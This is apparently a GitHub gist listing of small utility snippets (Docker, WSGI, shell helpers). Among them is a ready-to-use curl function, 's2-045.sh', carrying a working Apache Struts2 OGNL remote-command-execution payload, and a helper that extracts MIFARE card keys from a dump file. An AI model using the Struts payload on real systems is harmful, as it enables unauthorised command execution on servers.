This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import textwrap | |
import virtualenv | |
CUSTOM = """ | |
def extend_parser(parser): | |
parser.add_option( | |
'--use-proxy', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DIST buildapp-1.5.6.tar.gz 16352 SHA256 d77fb6c151605da660b909af058206f7fe7d9faf972e2c30876d42cb03d6a3ed |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
from wsgiref.simple_server import make_server | |
import argparse | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser() | |
parser.add_argument('--host', default='127.0.0.1') | |
parser.add_argument('--port', default=8088) | |
parser.add_argument('entry_point', type=str, default='wsgi:application') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM alpine:3.3 | |
MAINTAINER OwenChia <aptx945@gmail.com> | |
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/' /etc/apk/repositories | |
RUN apk update && apk upgrade \ | |
&& apk add \ | |
build-base \ | |
python3 \ | |
python3-dev \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Usage: | |
# source /path/to/exf.sh | |
# exf /path/to/m1.mfd | |
# | |
#How to remove? | |
# unset -f exf | |
#or u can use unfunction in zsh: | |
# unfunction exf | |
exf () {(xxd $1 | awk '/[37bf]0:/ && NR <= 64 {print $2 $3 $4, $7 $8 $9}')}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
from functools import reduce | |
from urllib import request | |
import argparse | |
import json | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser() | |
parser.add_argument("topic", type=int, nargs='?', default=293899) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Usage: | |
# source /path/to/s2-045.sh | |
# poc_s2-045 uri [command] | |
poc_s2-045 () { curl --insecure $1 -H "Content-Type:%{(#enctype='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='${2-whoami}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# determine local IP address | |
getip () | |
{ | |
ip addr | awk '/inet/ && ! /scope host/ {print $2}' | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/sed -nf | |
# Usage: | |
# ip addr | sed -nf getip.sed | column -t | |
/^[[:digit:]]/ { | |
: begin | |
s/^[[:digit:]]\+: \([[:graph:]]\+\).*/\1/ | |
h | |
: loop |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env hy | |
(import argparse) | |
(import lzma) | |
;; (import [pathlib [Path]]) | |
(import [string [printable]]) | |
;; 36 for [0-9a-z] |
OlderNewer